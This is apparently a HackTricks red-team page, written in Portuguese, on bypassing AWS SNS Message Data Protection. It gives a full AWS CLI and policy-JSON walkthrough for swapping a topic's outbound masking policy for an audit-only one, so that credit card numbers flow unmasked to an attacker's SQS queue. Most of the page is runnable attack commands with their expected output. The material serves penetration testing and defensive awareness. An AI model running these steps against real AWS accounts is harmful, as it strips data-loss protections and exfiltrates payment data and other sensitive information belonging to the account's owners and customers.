AWS - SNS Message Data Protection Bypass via Policy Downgrade

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Se você tiver sns:PutDataProtectionPolicy em um tópico, você pode mudar sua política Message Data Protection de Deidentify/Deny para Audit-only (ou remover controles Outbound) para que valores sensíveis (por exemplo, números de cartão de crédito) sejam entregues não modificados para sua subscription.

Requisitos

  • Permissões no tópico alvo para chamar sns:PutDataProtectionPolicy (e geralmente sns:Subscribe se você quiser receber os dados).
  • Tópico SNS padrão (Message Data Protection suportado).

Etapas do ataque

  • Variáveis
bash
REGION=us-east-1
  1. Crie um tópico padrão e uma fila SQS do atacante, e permita que apenas este tópico envie para a fila
bash
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
  1. Anexe uma política de proteção de dados que mascara números de cartão de crédito nas mensagens Outbound
bash
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
  1. Subscreva a fila do atacante e publique uma mensagem com um número de cartão de teste, verifique a máscara
bash
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Trecho esperado mostra a máscara (hashes):

json
"Message" : "payment:{cc:################}"
  1. Rebaixar a policy para Audit-only (sem declarações de deidentify/deny afetando Outbound)

Para SNS, declarações Audit devem ser Inbound. Substituir a policy por uma declaração Audit-only Inbound remove qualquer de-identificação Outbound, então as mensagens fluem sem modificações para os assinantes.

bash
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
  1. Publique a mesma mensagem e verifique que o valor não mascarado é entregue
bash
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Trecho esperado mostra o CC em texto claro:

text
4539894458086459

Impacto

  • Alterar um tópico de de-identification/deny para audit-only (ou, de outra forma, remover controles Outbound) permite que PII/secrets passem sem modificação para subscriptions controladas pelo atacante, possibilitando exfiltração de dados que, de outra forma, seriam mascarados ou bloqueados.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks